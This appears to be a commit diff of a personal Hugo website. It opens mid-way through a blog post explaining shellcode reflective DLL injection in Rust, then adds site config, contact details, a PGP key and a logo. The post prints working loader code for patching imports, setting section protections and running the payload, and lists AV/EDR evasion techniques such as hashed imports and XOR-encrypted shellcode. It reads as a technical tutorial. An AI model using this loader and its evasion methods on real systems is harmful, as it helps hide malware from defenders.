let mut thunk_ptr: *mut IMAGE_THUNK_DATA64 = rva_mut(
base_addr_ptr as _,
(*import_descriptor_ptr).FirstThunk as usize,
);
while (*original_thunk_ptr).u1.Function != 0 {
let is_snap_res = (*original_thunk_ptr).u1.Ordinal & IMAGE_ORDINAL_FLAG64 != 0;
// check if the import is by name or by ordinal
if is_snap_res {
// mask out the high bits to get the ordinal value and patch the address of the function
let fn_ord_ptr = ((*original_thunk_ptr).u1.Ordinal & 0xFFFF) as *const u8;
(*thunk_ptr).u1.Function =
match (far_procs.GetProcAddress)(module_handle, fn_ord_ptr) {
Some(fn_addr) => fn_addr as usize as _,
None => return 0,
};
} else {
// get the function name from the thunk and patch the address of the function
let thunk_data_ptr = (base_addr_ptr as usize
+ (*original_thunk_ptr).u1.AddressOfData as usize)
as *mut IMAGE_IMPORT_BY_NAME;
let fn_name_ptr = (*thunk_data_ptr).Name.as_ptr();
(*thunk_ptr).u1.Function =
match (far_procs.GetProcAddress)(module_handle, fn_name_ptr) {
Some(fn_addr) => fn_addr as usize as _,
None => return 0,
};
}
thunk_ptr = thunk_ptr.add(1);
original_thunk_ptr = original_thunk_ptr.add(1);
}
import_descriptor_ptr =
(import_descriptor_ptr as usize + size_of::<IMAGE_IMPORT_DESCRIPTOR>()) as _;
}
```
### Protecting the relocated sections
To ensure the seamless integration and correct functioning of the payload within the target process, setting appropriate memory protections for each relocated section is essential.
This process begins by accessing the Section Header (`IMAGE_SECTION_HEADER`) via the `OptionalHeader` in the NT Header. Once located, we iterate through the payload's sections, gathering essential details such as each section's reference, its RVA, and the size of the data. The necessary modifications to memory protections are determined based on the `Characteristics` field of each section, guiding us to apply the correct security attributes. After that the new protections are applied using `VirtualProtect`, tailored to the specifics of each section:
```rust
#[link_section = ".text"]
unsafe fn finalize_relocations(
base_addr_ptr: *mut c_void,
module_nt_headers_ptr: *mut IMAGE_NT_HEADERS64,
far_procs: &FarProcs,
) {
// RVA of the first IMAGE_SECTION_HEADER in the PE file
let section_header_ptr = rva_mut::<IMAGE_SECTION_HEADER>(
&(*module_nt_headers_ptr).OptionalHeader as *const _ as _,
(*module_nt_headers_ptr).FileHeader.SizeOfOptionalHeader as usize,
);
for i in 0..(*module_nt_headers_ptr).FileHeader.NumberOfSections {
let mut protection = 0;
let mut old_protection = 0;
let section_header_ptr = &*(section_header_ptr).add(i as usize);
let dst_ptr = base_addr_ptr
.cast::<u8>()
.add(section_header_ptr.VirtualAddress as usize);
let section_raw_size = section_header_ptr.SizeOfRawData as usize;
let is_executable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_EXECUTE != 0;
let is_readable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_READ != 0;
let is_writable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_WRITE != 0;
if !is_executable && !is_readable && !is_writable {
protection = PAGE_NOACCESS;
}
if is_writable {
protection = PAGE_WRITECOPY;
}
if is_readable {
protection = PAGE_READONLY;
}
if is_writable && is_readable {
protection = PAGE_READWRITE;
}
if is_executable {
protection = PAGE_EXECUTE;
}
if is_executable && is_writable {
protection = PAGE_EXECUTE_WRITECOPY;
}
if is_executable && is_readable {
protection = PAGE_EXECUTE_READ;
}
if is_executable && is_writable && is_readable {
protection = PAGE_EXECUTE_READWRITE;
}
// apply the new protection to the current section
(far_procs.VirtualProtect)(
dst_ptr as _,
section_raw_size,
protection,
&mut old_protection,
);
}
}
```
An important final step for each section is to call `FlushInstructionCache` to ensure the CPU sees the changes made to the memory:
```rust
(far_procs.FlushInstructionCache)(-1, null_mut(), 0);
```
### Executing the payload
Finally, with the payload meticulously mapped into the memory, we are set to execute it.
The executed function (as well as the shuffle and sleep switches) depends on the value of the flag stored into the payload during shellcode generation:
```rust
const DELAY_FLAG: u32 = 0b0001;
const SHUFFLE_FLAG: u32 = 0b0010;
const UFN_FLAG: u32 = 0b0100;
const HASH_KEY: usize = 5381;
pub struct Flags {
pub delay: bool,
pub shuffle: bool,
pub ufn: bool,
}
```
If the `ufn` is true, we'll run user-defined function from within the payload. Otherwise we'll stick to calling the payload's `DllMain` with `DLL_PROCESS_ATTACH`:
```rust
if flags.ufn {
// UserFunction address = base address + RVA of user function
let user_fn_addr = get_export_addr(base_addr_ptr as _, function_hash).unwrap();
#[allow(non_snake_case)]
let UserFunction = transmute::<_, UserFunction>(user_fn_addr);
// execution with user data passed into the shellcode by the generator
UserFunction(user_data, user_data_len);
} else {
let dll_main_addr = base_addr_ptr as usize
+ (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize;
#[allow(non_snake_case)]
let DllMain = transmute::<_, DllMain>(dll_main_addr);
DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _);
}
```
## Media
![Payload's DllMain execution with the default flag (0)](/images/understanding-srdi/dllmain-exec.png)
![Payload's user defined function execution with the modified flag (1)](/images/understanding-srdi/userfunction-exec.png)
## Obfuscation and detection evasion techniques
As hinted in the previous sections, the loader utilizes a few trivial obfuscation techniques:
- Hashed import names & indirect WinAPI function calls
- Shuffled and delayed IDT iteration during IAT patching
- XOR encrypted payload shellcode
- Unique key generated during shellcode generation
If we take a look at the whole [repository](https://git.umbrella.haus/ae/airborne), we can identify the PoC injector (utilizing plain `CreateRemoteThread`) as quite apparent weak link in the chain. Projects like [BypassAV by matro7sh](https://github.com/matro7sh/BypassAV) display a variety of a lot better techniques, if one is interested in improving in that area:
![Map of essentail AV/EDR bypass methods](/images/understanding-srdi/bypass-av.png)
## References
- ["An Improved Reflective DLL Injection Technique" by Dan Staples](https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html)
- [The implementation of the loader](https://github.com/dismantl/ImprovedReflectiveDLLInjection)
- [sRDI implementation in C by Nick Landers](https://github.com/monoxgas/sRDI/)
- [sRDI implementation in Rust by memN0ps](https://github.com/memN0ps/srdi-rs/)
- ["Reflective DLL Injection in C++" by Brendan Ortiz](https://depthsecurity.com/blog/reflective-dll-injection-in-c)
- [Thorough walkthrough of the PE file format by 0xRick](https://0xrick.github.io/categories/#win-internals)
- [FisherYates shuffle pseudo code implementation](https://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle)
- ["A tale of EDR bypass methods" by s3cur3th1ssh1t](https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/)
- [Essential AV/EDR bypass methods mapped out by matro7sh](https://matro7sh.github.io/BypassAV/)
- [MSDN Win32 API documentation](https://learn.microsoft.com/en-us/windows/win32/)

56
hugo.yaml Normal file
View File

@ -0,0 +1,56 @@
baseURL: https://golfed.xyz
title: Golfed
language: en-GB
theme: thunderball
params:
contacts:
- name: email
url: mailto:hello@golfed.xyz
display: hello@golfed.xyz
- name: matrix
url: https://matrix.to/#/@ae:golfed.xyz
display: "@ae:golfed.xyz"
- name: signal
url: https://signal.me/#eu/9aAt0tk36ErVZygWxf_dk81_r_2jTaxUxVCuvl_h6LONUyREI7hLm42Oa8RYJgoz
display: "@xmr.02"
- name: telegram
url: https://t.me/shrlis
display: "@shrlis"
- name: pgp
url: /pgp.txt
display: pgp
others:
- name: xmr
url: /xmr.txt
display: 83B5pK...FHe23Y
- name: .onion
url: http://golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion/
display: golfed...khnpyd.onion
services:
- name: blog
url: /blog
- name: 4get
url: https://4.umbrella.haus/
- name: gitea
url: https://git.umbrella.haus/
- name: echoip
url: https://ip.umbrella.haus/
- name: librespeed
url: https://speed.umbrella.haus/
assets:
favicon: /images/favicon.ico
favicon16: /images/favicon-16x16.png
favicon32: /images/favicon-32x32.png
appleTouchIcon: /images/apple-touch-icon.png
safariPinnedTabIcon: /images/safari-pinned-tab.svg
safariPinnedTabColor: /images/"#5bbad5"
manifest: /images/manifest.json
msTileColor: /images/"#2b5797"
msTileIcon: /images/mstile-150x150.png
themeColor: /images/"#040404"
logo: /images/logo.svg

9
static/browserconfig.xml Normal file
View File

@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<browserconfig>
<msapplication>
<tile>
<square150x150logo src="/mstile-150x150.png"/>
<TileColor>#2b5797</TileColor>
</tile>
</msapplication>
</browserconfig>

19
static/contact.txt Normal file
View File

@ -0,0 +1,19 @@
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Clearweb: golfed.xyz, umbrella.haus
Onion: golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion
PGP: 1530F5132A1228578D2B4168995EFD5C1B532B3E
Email: hello@golfed.xyz
Matrix: @ae:golfed.xyz
Signal: @xmr.02
Updated: 29/11/2024
-----BEGIN PGP SIGNATURE-----
iHUEARYKAB0WIQQVMPUTKhIoV40rQWiZXv1cG1MrPgUCZ0mHzQAKCRCZXv1cG1Mr
Pl6yAQCjFkLnaCH9f3BQgAsCwpmjmxQzcOsVoptf4eB08ZJNbAD/RH2Suz1CJSWe
LTusruFyxPEbzDsT+jNvebZRY91A5gQ=
=UfKa
-----END PGP SIGNATURE-----

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 986 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

BIN
static/images/favicon.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 154 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.2 KiB

View File

@ -0,0 +1,189 @@
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
"http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="700.000000pt" height="700.000000pt" viewBox="0 0 700.000000 700.000000"
preserveAspectRatio="xMidYMid meet">
<metadata>
Created by potrace 1.14, written by Peter Selinger 2001-2017
</metadata>
<g transform="translate(0.000000,700.000000) scale(0.100000,-0.100000)"
fill="#000000" stroke="none">
<path d="M3278 6996 c-1 -2 -37 -6 -78 -9 -119 -10 -261 -30 -365 -51 -141
-29 -197 -43 -295 -71 -225 -65 -499 -175 -680 -273 -129 -70 -150 -82 -217
-124 -316 -197 -641 -488 -877 -783 -427 -535 -686 -1173 -753 -1860 -10 -102
-10 -568 0 -660 93 -854 449 -1591 1052 -2175 79 -77 125 -119 225 -204 62
-53 279 -208 352 -251 144 -86 204 -119 320 -177 75 -37 139 -68 142 -68 4 0
25 -9 49 -19 108 -48 321 -119 468 -156 57 -14 120 -30 139 -35 19 -5 51 -12
70 -15 19 -3 60 -10 90 -15 89 -15 162 -24 285 -36 154 -15 582 -8 695 10 14
3 45 7 70 10 49 7 200 32 240 40 14 3 39 8 55 12 64 12 324 88 413 120 372
135 704 321 1010 567 131 105 377 343 474 457 305 361 543 793 677 1226 34
109 95 361 107 439 5 28 9 52 9 55 2 5 15 105 21 155 14 120 19 206 19 385 0
186 -10 391 -20 423 -2 6 -6 35 -9 62 -25 232 -111 556 -218 825 -340 856
-1027 1560 -1873 1917 -345 146 -603 212 -1040 268 -50 7 -550 16 -557 11z
m698 -210 c67 -7 234 -41 338 -67 95 -24 276 -85 288 -97 4 -4 -52 -9 -125
-10 -72 -1 -157 -4 -187 -7 -52 -4 -57 -3 -135 49 -44 29 -119 72 -167 94 -49
23 -88 44 -88 47 0 2 6 3 13 0 6 -2 35 -6 63 -9z m-992 -90 c-27 -23 -92 -82
-144 -132 l-95 -92 -55 2 c-69 2 -217 -15 -305 -34 -58 -13 -57 -14 -52 28 7
64 30 123 51 137 22 15 206 65 321 89 96 19 252 41 304 42 22 0 19 -5 -25 -40z
m566 10 c124 -26 238 -62 328 -103 95 -43 95 -43 -46 -79 -151 -39 -325 -98
-474 -161 l-108 -45 -102 51 c-57 28 -118 54 -135 57 -18 4 -33 12 -33 19 0
27 219 193 335 254 72 37 87 38 235 7z m-1400 -241 c-4 -25 -8 -48 -8 -50 -1
-3 -2 -16 -2 -30 0 -14 -5 -25 -11 -25 -26 0 -232 -110 -330 -176 l-108 -73
-66 29 c-36 16 -65 31 -65 34 0 8 119 90 220 152 107 64 362 194 371 188 3 -2
3 -24 -1 -49z m2530 -40 c129 -8 319 -44 367 -69 23 -12 106 -90 163 -152 105
-116 201 -276 264 -441 20 -51 36 -94 36 -97 0 -6 -20 1 -185 59 -125 44 -466
137 -556 150 -24 4 -51 8 -58 9 -20 4 -25 15 -61 125 -46 141 -120 279 -209
391 l-20 25 22 6 c23 5 93 4 237 -6z m-432 -80 c73 -77 132 -162 178 -255 32
-66 64 -146 64 -164 0 -4 -24 -6 -52 -2 -70 7 -168 16 -248 21 -64 5 -439 5
-594 2 l-79 -2 -27 67 c-15 37 -44 90 -64 118 l-36 51 67 30 c140 63 416 146
588 178 33 6 69 12 80 15 53 10 64 5 123 -59z m-1658 -61 c0 -3 -24 -40 -53
-82 -67 -98 -157 -241 -157 -250 -1 -12 -39 -57 -41 -47 -5 40 -8 87 -14 202
l-7 132 43 12 c96 26 229 45 229 33z m294 -8 c43 -8 156 -47 156 -55 0 -3 -46
-33 -102 -66 -57 -32 -160 -96 -230 -142 -71 -45 -128 -80 -128 -77 0 9 109
174 158 239 63 84 92 114 106 110 6 -3 24 -7 40 -9z m-739 -206 c3 -52 8 -111
10 -130 3 -19 7 -58 9 -87 l5 -51 -127 89 c-70 50 -138 98 -151 107 l-24 18
64 41 c61 40 201 115 205 110 1 -1 5 -45 9 -97z m3514 -48 c85 -73 248 -233
306 -302 51 -60 155 -220 196 -302 41 -82 82 -178 75 -178 -2 0 -53 35 -113
78 -103 74 -236 156 -352 218 l-54 29 -23 92 c-31 124 -92 277 -159 398 -30
54 -55 101 -55 103 0 7 96 -66 179 -136z m-2434 70 c37 -26 114 -156 101 -169
-5 -5 -75 -17 -231 -39 -64 -9 -288 -54 -317 -64 -85 -28 42 61 282 197 155
89 150 86 165 75z m-1743 -88 c26 -9 51 -20 54 -26 3 -5 -9 -26 -29 -46 -54
-57 -147 -182 -172 -232 -31 -61 -37 -65 -130 -89 -68 -18 -193 -59 -259 -86
-19 -8 -19 -8 0 24 40 69 194 251 307 364 132 131 118 126 229 91z m380 -206
c76 -50 136 -93 134 -96 -3 -2 -61 -5 -130 -7 -144 -4 -308 -15 -318 -22 -21
-12 -4 25 29 66 47 57 134 151 141 151 3 0 68 -41 144 -92z m2458 -41 c19 -3
67 -8 105 -12 99 -9 105 -11 106 -48 4 -119 -5 -299 -15 -316 -2 -3 -7 -22
-10 -41 -17 -104 -80 -295 -94 -287 -4 3 -27 14 -52 25 -25 11 -85 39 -135 62
-194 90 -487 205 -664 262 -36 12 -67 22 -68 23 -1 0 6 30 17 66 11 35 20 66
19 69 0 3 3 29 7 58 3 29 8 67 9 85 2 17 3 37 4 44 1 6 16 14 34 16 46 6 695
0 737 -6z m-957 -72 c-2 -27 -8 -72 -15 -100 -7 -27 -13 -52 -13 -55 -5 -28
-19 -51 -29 -47 -29 11 -379 97 -456 112 -98 19 -123 25 -118 31 7 6 291 66
378 80 19 3 46 7 60 10 14 2 48 7 75 10 28 4 52 8 55 11 2 2 18 3 35 1 29 -3
30 -4 28 -53z m1592 -37 c174 -43 345 -98 499 -162 90 -38 100 -45 104 -71 8
-49 7 -314 -2 -390 -20 -187 -120 -551 -154 -563 -6 -2 -45 22 -87 53 -65 49
-364 243 -433 283 -13 7 -76 43 -140 79 -64 36 -127 72 -139 79 l-21 13 19 52
c31 82 76 248 89 329 7 41 14 84 16 95 2 11 5 73 6 138 l1 118 41 -7 c23 -3
113 -24 201 -46z m-3105 -137 c-1 -3 -54 -32 -119 -64 -65 -31 -171 -88 -237
-126 -103 -60 -119 -66 -122 -50 -5 27 35 181 51 196 14 14 133 31 272 40 55
3 101 6 102 7 6 5 53 3 53 -3z m827 -66 c148 -24 489 -103 541 -125 23 -10 23
-10 -20 -71 -48 -68 -132 -168 -157 -186 -18 -12 -2 -25 -251 207 -63 59 -135
126 -160 149 -45 42 -45 42 -15 37 17 -3 45 -8 62 -11z m-1477 -92 c-6 -38
-12 -103 -14 -146 -1 -43 -7 -82 -12 -86 -5 -5 -52 -42 -105 -83 -140 -106
-200 -159 -331 -290 -102 -102 -121 -116 -120 -88 0 16 13 149 16 171 7 50 46
188 77 275 40 111 63 134 211 208 102 51 278 119 287 111 1 -2 -2 -34 -9 -72z
m1384 -137 c49 -44 103 -94 120 -109 75 -69 176 -170 176 -177 0 -19 -274
-179 -307 -180 -9 0 -90 307 -107 410 -2 14 -11 56 -20 93 -9 38 -16 75 -16
84 0 17 19 3 154 -121z m3361 8 c97 -64 216 -159 308 -245 66 -61 69 -67 77
-124 8 -61 6 -424 -3 -460 -3 -11 -8 -40 -11 -65 -10 -71 -15 -98 -41 -205
-22 -95 -87 -301 -106 -337 -7 -14 -40 14 -181 156 -186 185 -218 215 -346
321 -67 54 -83 72 -79 89 3 12 30 92 60 179 31 86 54 157 52 157 -2 0 4 26 12
58 42 160 56 287 62 560 l1 34 58 -32 c31 -18 93 -56 137 -86z m-4075 92 c0
-3 -6 -11 -12 -18 -7 -7 -44 -49 -83 -93 -38 -44 -72 -82 -76 -85 -3 -3 -45
-54 -93 -115 -119 -150 -115 -145 -124 -145 -10 0 -68 96 -83 138 -6 18 -9 38
-6 45 6 15 211 139 367 220 117 62 110 59 110 53z m400 -98 c6 -29 14 -64 16
-78 3 -14 21 -89 39 -167 67 -275 68 -285 54 -293 -11 -7 -53 -17 -163 -36
-11 -2 -50 -6 -88 -9 -78 -6 -76 -11 -48 90 43 158 62 219 111 361 28 82 53
157 56 167 8 26 10 22 23 -35z m1271 3 c176 -61 213 -75 369 -139 161 -66 410
-179 423 -192 30 -29 -220 -383 -399 -565 -115 -117 -108 -114 -145 -74 -17
19 -57 61 -88 95 -31 33 -103 112 -161 174 -58 62 -166 176 -240 253 -74 77
-135 143 -135 147 0 4 23 34 51 66 79 90 97 113 153 197 28 42 53 77 55 77 1
0 54 -18 117 -39z m-1546 -154 c-29 -89 -67 -220 -86 -290 -38 -145 -34 -141
-135 -107 -81 28 -144 58 -144 70 0 12 143 192 234 295 71 81 178 195 181 195
2 0 -21 -73 -50 -163z m-730 -206 c20 -38 52 -87 71 -109 19 -22 34 -45 34
-51 0 -5 -33 -61 -74 -123 -105 -162 -196 -326 -301 -541 l-92 -189 -37 44
c-104 120 -199 310 -221 436 -7 41 -5 45 50 112 81 99 292 305 415 404 58 47
108 86 112 86 4 0 23 -31 43 -69z m-820 -95 c-10 -49 -12 -275 -4 -314 6 -28
1 -41 -28 -85 -20 -29 -67 -104 -105 -167 -68 -112 -70 -114 -64 -70 3 25 8
56 11 70 3 14 7 34 9 45 30 148 97 361 158 508 24 55 31 60 23 13z m2698 -88
c114 -118 309 -324 345 -365 9 -11 53 -60 97 -108 44 -48 83 -93 88 -101 7
-13 0 -19 -155 -132 -172 -125 -606 -349 -629 -325 -4 5 -30 80 -57 168 -28
88 -62 196 -76 240 -25 81 -128 438 -139 485 -6 24 0 29 102 79 59 29 150 82
202 117 52 35 96 63 99 64 2 0 58 -55 123 -122z m1555 18 c176 -101 428 -263
564 -363 l68 -49 -31 -59 c-96 -185 -230 -383 -388 -570 -91 -108 -314 -335
-329 -335 -6 0 -66 68 -134 152 -167 206 -397 481 -465 557 -18 20 -32 41 -30
48 1 7 40 52 87 100 184 189 310 354 426 556 21 37 41 67 45 67 3 0 87 -47
187 -104z m1902 -161 c69 -124 127 -276 144 -380 9 -57 12 -147 11 -263 -3
-174 -6 -213 -25 -322 -23 -129 -28 -152 -61 -265 -54 -185 -61 -198 -86 -152
-114 203 -224 377 -275 433 -18 21 -18 22 26 135 75 192 142 438 160 584 2 22
7 58 11 80 7 45 13 133 14 215 1 68 10 61 81 -65z m-5008 16 c67 -31 125 -52
196 -71 48 -12 46 -4 27 -100 -15 -78 -28 -149 -31 -175 -2 -16 -8 -52 -14
-80 -10 -56 -17 -103 -26 -173 -3 -26 -7 -58 -9 -72 -7 -48 -14 -106 -21 -180
-4 -41 -8 -86 -9 -100 -2 -14 -3 -47 -4 -74 l-1 -48 -47 6 c-152 22 -368 97
-503 176 -99 58 -102 62 -84 108 87 215 420 812 454 812 5 0 37 -13 72 -29z
m907 -252 c56 -195 91 -311 179 -592 22 -70 36 -129 32 -132 -12 -7 -230 -62
-275 -69 -22 -4 -47 -9 -55 -11 -83 -26 -507 -42 -504 -20 1 6 5 53 9 105 3
52 8 109 10 125 2 17 7 57 11 90 3 33 7 67 9 75 1 8 6 42 9 75 13 106 81 493
89 501 1 1 48 5 104 9 56 4 150 17 210 29 59 12 109 21 110 21 2 -1 29 -93 62
-206z m-1983 -166 c61 -150 145 -282 246 -389 l70 -73 -15 -48 c-8 -26 -35
-114 -60 -195 -26 -80 -48 -157 -51 -170 -2 -12 -9 -41 -15 -63 -14 -53 -48
-228 -56 -290 -4 -28 -9 -52 -12 -55 -3 -3 -27 20 -55 50 -139 155 -266 408
-309 618 -12 56 -11 71 5 135 24 94 91 260 148 367 54 101 82 150 86 150 2 0
10 -17 18 -37z m5070 -55 c103 -86 405 -383 461 -454 l32 -41 -41 -79 c-161
-312 -374 -599 -665 -894 l-162 -165 -29 40 c-15 22 -71 101 -122 175 -52 74
-98 140 -102 145 -5 6 -66 89 -138 186 l-129 175 143 145 c251 254 444 502
573 738 50 92 62 111 72 111 4 0 52 -37 107 -82z m-1699 -213 c168 -196 266
-314 403 -485 68 -85 130 -162 137 -171 13 -15 5 -24 -69 -82 -266 -207 -604
-405 -917 -537 -79 -33 -145 -59 -146 -58 -11 14 -184 467 -262 688 -79 224
-85 242 -81 245 5 6 116 55 123 55 10 0 242 118 320 162 91 53 275 176 345
232 30 24 60 41 66 37 7 -3 43 -42 81 -86z m-2765 -394 c92 -50 317 -131 413
-147 17 -3 57 -10 89 -17 l59 -12 3 -300 c1 -165 5 -329 8 -365 3 -36 8 -96
11 -135 3 -38 8 -91 11 -117 6 -46 5 -48 -20 -48 -74 0 -358 74 -496 130 -100
40 -254 121 -330 174 -83 57 -85 63 -68 171 4 28 10 73 13 100 3 28 10 66 15
85 5 19 12 51 15 70 11 66 56 235 96 363 l40 128 52 -30 c29 -16 69 -38 89
-50z m5169 -173 c75 -115 174 -302 204 -386 12 -35 11 -40 -28 -117 -134 -261
-332 -541 -562 -795 -73 -80 -256 -260 -265 -260 -4 0 -38 55 -76 123 -37 67
-110 192 -161 277 l-94 154 123 121 c140 138 212 214 283 300 28 33 52 62 55
65 73 71 282 378 404 593 15 26 29 47 32 47 2 0 41 -55 85 -122z m-3483 20
c16 -46 44 -123 62 -173 37 -107 47 -132 141 -380 39 -104 78 -203 85 -220 32
-71 29 -75 -81 -106 -55 -16 -109 -31 -120 -33 -11 -3 -49 -11 -85 -20 -36 -8
-78 -17 -95 -20 -16 -3 -53 -10 -82 -15 -29 -6 -74 -13 -100 -16 -26 -4 -59
-8 -73 -11 -93 -16 -540 -28 -553 -14 -3 3 -8 41 -12 85 -3 44 -8 94 -10 110
-17 129 -30 761 -16 770 4 2 72 5 152 6 128 2 224 11 369 33 68 11 247 53 315
74 33 10 63 17 66 16 3 -2 20 -41 37 -86z m-2557 -276 c60 -109 157 -238 255
-337 l92 -93 1 -183 c0 -101 2 -202 5 -224 10 -96 18 -171 21 -187 6 -29 -8
-20 -45 30 -144 195 -233 380 -294 612 -35 131 -64 283 -72 366 -3 38 -8 72
-11 77 -2 4 -1 7 4 7 4 0 24 -31 44 -68z m6525 -79 c-9 -54 -23 -123 -30 -153
l-13 -55 -16 54 -17 54 42 104 c22 57 43 101 46 99 2 -3 -3 -49 -12 -103z
m-2184 35 c108 -136 458 -630 465 -660 9 -30 -313 -266 -579 -424 -122 -72
-399 -215 -518 -267 -113 -49 -216 -87 -228 -82 -7 2 -38 58 -69 122 -67 142
-213 463 -213 468 0 3 -11 28 -24 57 -39 85 -56 130 -56 143 0 7 37 27 83 45
113 45 401 185 522 255 136 78 361 228 470 313 50 39 95 71 101 72 7 0 27 -19
46 -42z m1990 -435 c9 -80 -2 -240 -22 -318 -35 -137 -182 -418 -328 -630 -57
-81 -192 -257 -221 -286 -9 -9 -45 -48 -80 -87 -35 -40 -67 -72 -70 -72 -4 0
-17 39 -31 88 -13 48 -43 136 -67 195 l-43 108 163 162 c170 170 191 192 298
322 134 163 283 374 356 506 16 27 31 49 34 49 4 0 9 -17 11 -37z m-5749 -120
c145 -92 430 -207 615 -248 71 -16 169 -35 230 -45 40 -7 72 -17 73 -23 6
-103 63 -369 131 -610 28 -98 48 -180 46 -182 -6 -7 -159 21 -274 50 -235 59
-481 165 -668 290 -102 68 -124 89 -132 123 -3 15 -10 41 -14 57 -9 29 -34
162 -44 235 -13 88 -26 367 -17 375 7 8 8 7 54 -22z m2420 -283 c75 -174 174
-392 243 -537 30 -63 54 -118 54 -122 0 -5 -8 -11 -17 -14 -272 -82 -548 -141
-748 -162 -33 -4 -71 -9 -85 -11 -37 -8 -511 -14 -542 -8 -24 5 -30 17 -67
132 -57 179 -108 383 -135 537 -3 17 -10 54 -16 84 -5 30 -8 56 -6 58 2 3 93
6 202 8 110 2 215 6 234 9 19 2 62 8 95 11 167 17 480 83 640 134 33 11 67 19
75 18 9 -2 38 -56 73 -137z m2014 -142 c102 -171 117 -197 180 -316 25 -45 43
-87 41 -92 -11 -32 -464 -353 -613 -435 -27 -15 -79 -44 -115 -65 -139 -81
-579 -280 -619 -280 -20 0 -338 555 -323 564 4 2 63 27 132 56 153 64 358 161
465 222 44 24 103 57 130 73 148 83 424 272 555 379 30 24 60 45 65 45 6 1 52
-68 102 -151z m-4027 -681 c88 -37 265 -100 320 -112 8 -2 40 -10 70 -18 62
-17 103 -25 225 -46 70 -13 113 -19 136 -20 10 -1 26 -22 39 -53 50 -117 108
-229 177 -347 l73 -124 -37 7 c-299 49 -603 169 -852 335 -92 61 -166 130
-234 219 -69 89 -167 250 -167 273 0 5 33 -8 73 -30 39 -22 119 -59 177 -84z
m4401 -66 c26 -84 46 -208 39 -243 -8 -41 -26 -59 -165 -164 -280 -210 -552
-361 -857 -474 l-76 -29 -49 24 c-26 14 -74 48 -105 77 -54 51 -178 196 -178
209 0 3 21 14 48 24 50 19 65 25 232 100 304 136 636 335 927 556 l118 89 22
-51 c13 -28 32 -81 44 -118z m-1907 -113 c105 -188 129 -230 188 -328 l39 -65
-58 -18 c-54 -16 -240 -65 -273 -72 -8 -2 -33 -8 -55 -13 -22 -6 -57 -13 -79
-16 -21 -4 -41 -8 -45 -10 -3 -2 -33 -7 -66 -11 -32 -3 -62 -8 -65 -10 -3 -2
-33 -6 -67 -10 -35 -4 -75 -8 -90 -10 -113 -15 -409 -23 -563 -15 l-65 3 -48
61 c-68 87 -151 223 -218 356 -32 63 -57 115 -56 116 1 1 103 4 227 8 124 3
241 8 261 10 21 3 72 9 115 15 44 6 97 13 119 16 22 2 51 7 65 10 14 3 39 7
55 10 17 3 53 10 80 15 28 6 60 12 72 14 46 9 330 86 368 100 22 8 45 15 52
15 6 1 55 -77 107 -171z m397 -630 c35 -46 97 -117 137 -160 40 -42 69 -78 65
-81 -9 -5 -192 -46 -233 -52 -35 -5 -170 -26 -200 -31 -112 -18 -529 -25 -682
-11 -42 4 -110 16 -151 26 -110 29 -316 137 -313 165 1 5 46 11 101 12 223 4
423 27 710 80 59 11 371 93 425 112 30 11 60 20 66 21 6 0 40 -36 75 -81z
m-1791 -103 c14 -2 43 -6 65 -10 27 -4 52 -17 77 -42 21 -20 36 -38 34 -41 -4
-4 -212 68 -266 93 l-35 15 50 -5 c28 -3 61 -8 75 -10z"/>
</g>
</svg>

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 213 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 47 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 214 KiB

21
static/manifest.json Normal file
View File

@ -0,0 +1,21 @@
{
"name": "Golfed",
"short_name": "Golfed",
"start_url": "https://golfed.xyz",
"icons": [
{
"src": "/android-chrome-192x192.png",
"sizes": "192x192",
"type": "image/png",
"purpose": "any maskable"
},
{
"src": "/android-chrome-512x512.png",
"sizes": "512x512",
"type": "image/png"
}
],
"theme_color": "#242424",
"background_color": "#242424",
"display": "standalone"
}

17
static/pgp.txt Normal file
View File

@ -0,0 +1,17 @@
-----BEGIN PGP PUBLIC KEY BLOCK-----
mDMEZlCIMxYJKwYBBAHaRw8BAQdAdpvALccmuA1+HQH2en4H4FrvJ54273nnU40U
P7YwGbK0HFNoaWhlcmxpcyA8aGVsbG9AZ29sZmVkLnh5ej6IkwQTFgoAOxYhBBUw
9RMqEihXjStBaJle/VwbUys+BQJmr4koAhsDBQsJCAcCAiICBhUKCQgLAgQWAgMB
Ah4HAheAAAoJEJle/VwbUys+lfwBAI3/mah+EUhrWuzmICFABlshCvaMP4oLnIdI
ISHenRKkAP41YKSqVPaaBz389nz9b3Jebjt+/7z8OOcGJ5y4BnU3Dbg4BGZQiDMS
CisGAQQBl1UBBQEBB0C8+SY+LrPTOjCvKhPNoyaCW1ShHbf1R2VOtraXhXzrRwMB
